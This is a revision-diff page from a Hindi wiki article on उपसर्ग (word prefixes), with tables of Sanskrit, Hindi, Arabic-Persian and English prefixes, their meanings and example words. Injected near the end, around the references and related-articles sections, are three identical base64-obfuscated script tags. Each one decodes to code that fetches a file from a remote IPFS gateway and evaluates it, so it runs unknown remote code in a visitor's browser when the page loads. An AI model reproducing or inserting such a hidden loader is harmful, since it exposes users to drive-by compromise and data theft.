Difference between revisions of "उपसर्ग"
[unchecked revision] | [unchecked revision] |
व्यवस्थापन (talk | contribs) m (Text replace - "{{लेख प्रगति" to "{{प्रचार}} {{लेख प्रगति") |
व्यवस्थापन (talk | contribs) m (Text replace - "Category:हिन्दी भाषा" to "Category:हिन्दी भाषाCategory:भाषा कोश") |
||
(6 intermediate revisions by the same user not shown) | |||
Line 1: | Line 1: | ||
− | '''उपसर्ग = उप (समीप) + सर्ग (सृष्टि करना) का अर्थ है- किसी [[शब्द (व्याकरण)|शब्द]] के समीप आ कर नया शब्द बनाना।''' जो शब्दांश शब्दों के आदि में जुड़ कर उनके अर्थ में कुछ विशेषता लाते हैं, वे उपसर्ग कहलाते हैं। 'हार' शब्द का अर्थ है पराजय। परंतु इसी शब्द के आगे 'प्र' शब्दांश को जोड़ने से नया शब्द बनेगा - 'प्रहार' (प्र + हार) जिसका अर्थ है चोट करना। इसी तरह 'आ' जोड़ने से आहार (भोजन), 'सम्' जोड़ने से संहार (विनाश) तथा 'वि' जोड़ने से 'विहार' (घूमना) इत्यादि शब्द बन जाएँगे। उपर्युक्त उदाहरण में 'प्र', 'आ', 'सम्' और 'वि' का अलग से कोई अर्थ नहीं है, 'हार' शब्द के आदि में जुड़ने से उसके अर्थ में इन्होंने परिवर्तन कर दिया है। इसका मतलब हुआ कि ये सभी शब्दांश हैं और ऐसे शब्दांशों को उपसर्ग कहते हैं। [[ | + | '''उपसर्ग = उप (समीप) + सर्ग (सृष्टि करना) का अर्थ है- किसी [[शब्द (व्याकरण)|शब्द]] के समीप आ कर नया शब्द बनाना।''' जो शब्दांश शब्दों के आदि में जुड़ कर उनके अर्थ में कुछ विशेषता लाते हैं, वे उपसर्ग कहलाते हैं। 'हार' शब्द का अर्थ है पराजय। परंतु इसी शब्द के आगे 'प्र' शब्दांश को जोड़ने से नया शब्द बनेगा - 'प्रहार' (प्र + हार) जिसका अर्थ है चोट करना। इसी तरह 'आ' जोड़ने से आहार (भोजन), 'सम्' जोड़ने से संहार (विनाश) तथा 'वि' जोड़ने से 'विहार' (घूमना) इत्यादि शब्द बन जाएँगे। उपर्युक्त उदाहरण में 'प्र', 'आ', 'सम्' और 'वि' का अलग से कोई अर्थ नहीं है, 'हार' शब्द के आदि में जुड़ने से उसके अर्थ में इन्होंने परिवर्तन कर दिया है। इसका मतलब हुआ कि ये सभी शब्दांश हैं और ऐसे शब्दांशों को उपसर्ग कहते हैं। [[हिन्दी]] में प्रचलित उपसर्गों को निम्नलिखित भागों में विभाजित किया जा सकता है। |
#[[संस्कृत]] के उपसर्ग, | #[[संस्कृत]] के उपसर्ग, | ||
− | # | + | #हिन्दी के उपसर्ग, |
#[[उर्दू]] और फ़ारसी के उपसर्ग, | #[[उर्दू]] और फ़ारसी के उपसर्ग, | ||
#[[अंग्रेज़ी]] के उपसर्ग, | #[[अंग्रेज़ी]] के उपसर्ग, | ||
Line 208: | Line 208: | ||
| गैर | | गैर | ||
| निषेध | | निषेध | ||
− | | गैरहाज़िर, | + | | गैरहाज़िर, गैरक़ानूनी, गैरमुल्क, गैर-ज़िम्मेदार |
|- | |- | ||
| 4 | | 4 | ||
Line 228: | Line 228: | ||
| बद | | बद | ||
| बुरा | | बुरा | ||
− | | बदमाश, बदनाम, | + | | बदमाश, बदनाम, बदक़िस्मत,बदबू |
|- | |- | ||
| 8 | | 8 | ||
Line 340: | Line 340: | ||
| पुरा | | पुरा | ||
| पुरातन | | पुरातन | ||
− | | | + | | पुरातत्त्व, पुरावृत्त |
|- | |- | ||
| 9 | | 9 | ||
Line 362: | Line 362: | ||
|शोध= | |शोध= | ||
}} | }} | ||
+ | {{संदर्भ ग्रंथ}} | ||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> | ||
Line 367: | Line 368: | ||
{{व्याकरण}} | {{व्याकरण}} | ||
[[Category:व्याकरण]] | [[Category:व्याकरण]] | ||
− | [[Category:हिन्दी भाषा]] | + | [[Category:हिन्दी भाषा]][[Category:भाषा कोश]] |
__INDEX__ | __INDEX__ | ||
__NOTOC__ | __NOTOC__ |
Latest revision as of 09:13, 14 October 2011
upasarg = up (samip) + sarg (srishti karana) ka arth hai- kisi shabd ke samip a kar naya shabd banana. jo shabdaansh shabdoan ke adi mean ju d kar unake arth mean kuchh visheshata late haian, ve upasarg kahalate haian. 'har' shabd ka arth hai parajay. parantu isi shabd ke age 'pr' shabdaansh ko jo dane se naya shabd banega - 'prahar' (pr + har) jisaka arth hai chot karana. isi tarah 'a' jo dane se ahar (bhojan), 'samh' jo dane se sanhar (vinash) tatha 'vi' jo dane se 'vihar' (ghoomana) ityadi shabd ban jaeange. uparyukt udaharan mean 'pr', 'a', 'samh' aur 'vi' ka alag se koee arth nahian hai, 'har' shabd ke adi mean ju dane se usake arth mean inhoanne parivartan kar diya hai. isaka matalab hua ki ye sabhi shabdaansh haian aur aise shabdaanshoan ko upasarg kahate haian. hindi mean prachalit upasargoan ko nimnalikhit bhagoan mean vibhajit kiya ja sakata hai.
- sanskrit ke upasarg,
- hindi ke upasarg,
- urdoo aur farasi ke upasarg,
- aangrezi ke upasarg,
- upasarg ke saman prayukt hone vale sanskrit ke avyay.
sanskrit ke upasarg
kram | upasarg | arth | shabd |
---|---|---|---|
1 | ati | adhik | atyadhik, atyant, atirikt, atishay |
2 | adhi | oopar, shreshth | adhikar, adhipati, adhinayak |
3 | anu | pichhe, saman | anuchar, anukaran, anusar, anushasan |
4 | ap | bura, hin | apayash, apaman, apakar |
5 | abhi | samane, charoan or, pas | abhiyan, abhishek, abhinay, abhimukh |
6 | av | hin, nich | avagun, avanati, avatar, avanati |
7 | a | tak, samet | ajivan, agaman |
8 | uth | ooancha, shreshth, oopar | udgam, utkarsh, uttam, utpatti |
9 | up | nikat, sadrish, gaun | upadesh, upavan, upamantri, upahar |
10 | durh | bura, kathin | durjan, durgam, durdasha, durachar |
11 | dush | bura, kathin | dushcharitr, dussahas, dushkar |
12 | nirh | bina, bahar, nishedh | niraparadh, nirjan, nirakar, nirgun |
13 | nish | rahit, poora, viparit | nissar, nistar, nishchal, nishchit |
14 | ni | nishedh, adhikata, niche | nivaran, nipat, niyog, nishedh |
15 | para | ulta, pichhe | parajay, parabhav, paramarsh, parakram |
16 | pari | asapas, charoan taraph | parijan, parikram, paripoorn, parinam |
17 | pr | adhik, age | prakhyat, prabal, prasthan, prakriti |
18 | prati | ulata, samane, har ek | pratikool, pratyaksh, pratikshan, pratyek |
19 | vi | bhinn, vishesh | videsh, vilap, viyog, vipaksh |
20 | samh | uttam, sath, poorn | sanskar, sangam, santusht, sanbhav |
21 | su | achchha, adhik | sujan, sugam, sushikshit, supatr |
hindi ke upasarg
kram | upasarg | arth | shabd |
---|---|---|---|
1 | a | abhav, nishedh | achhoota, athah, atal |
2 | an | abhav, nishedh | anamol, anaban, anapadh |
3 | ku | bura | kuchal, kuchaila, kuchakr |
4 | du | kam, bura | dubala, dulara, dudharoo |
5 | ni | kami | nigo da, nidar, nihattha, nikamma |
6 | au | hin, nishedh | augun, aughar, ausar, ausan |
7 | bhar | poora | bharapet, bharapoor, bharasak, bharamar |
8 | su | achchha | sudaul, sujan, sugh d, suphal |
9 | adh | adha | adhapaka, adhakachcha, adhamara, adhakachara |
10 | un | ek kam | unatis, unasath, unahattar, uantalis |
11 | par | doosara, bad ka | paralok, paropakar, parasarg, parahit |
12 | bin | bina, nishedh | binabyaha, binabadal, binapae, binajane |
arabi-farasi ke upasarg
kram | upasarg | arth | shabd |
---|---|---|---|
1 | kam | tho da, hin | kamazor, kamabakht, kamakl |
2 | khush | achchha | khushanasib, khushakhabari, khushahal, khushaboo |
3 | gair | nishedh | gairahazir, gairaqanooni, gairamulk, gair-zimmedar |
4 | na | abhav | napasand, nasamajh, naraz, nalayak |
5 | b | aur, anusar | banam, badaulat, badastoor, bagair |
6 | ba | sahit | bakayada, baijzat, baadab, bamauka |
7 | bad | bura | badamash, badanam, badaqismat,badaboo |
8 | be | bina | beeeman, beijzat, bechara, bevakoof |
9 | la | rahit | laparavah, lachar, lavaris, lajavab |
10 | sar | mukhy | sarataj, saradar, sarapanch, sarakar |
11 | ham | saman, sathavala | hamadardi, hamarah, hamumr, hamadam |
12 | har | pratyek | haradin, harasal, harek, harabar |
aangrezi ke upasarg
kram | upasarg | arth | shabd |
---|---|---|---|
1 | sab | adhin, niche | sab-jaj sab-kameti, sab-ianspektar |
2 | dipti | sahayak | dipti-kalektar, dipti-rajistrar, dipti-ministar |
3 | vais | sahayak | vaisaray, vais-chaansalar, vais-presideant |
4 | janaral | pradhan | janaral mainejar, janaral sekretari |
5 | chif | pramukh | chif-ministar, chif-ianjiniyar, chif-sekretari |
6 | hed | mukhy | hedamastar, hed klark |
upasarg ke saman prayukt hone vale sanskrit ke avyay
kram | upasarg | arth | shabd |
---|---|---|---|
1 | adhah | niche | adhahpatan, adhogati, adhomukhi, adholikhit |
2 | aantah | bhitari | aantahkaran, aantahpur, aantarman, aantardeshiy |
3 | a | abhav | ashok ,akal, aniti |
4 | chir | bahut der | chiranjivi, chirakumar, chirakal, chirayu |
5 | punarh | phir | punarjanm, punarlekhan, punarjivan |
6 | bahirh | bahar | bahirgaman, bahishkar |
7 | sath | sachcha | sajjan, satkarm, sadachar, satkary |
8 | pura | puratan | puratattv, puravritt |
9 | sam | saman | samakalin, samadarshi, samakon, samakalik |
10 | sah | sath | sahakar, sahapathi, sahayogi, sahachar |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>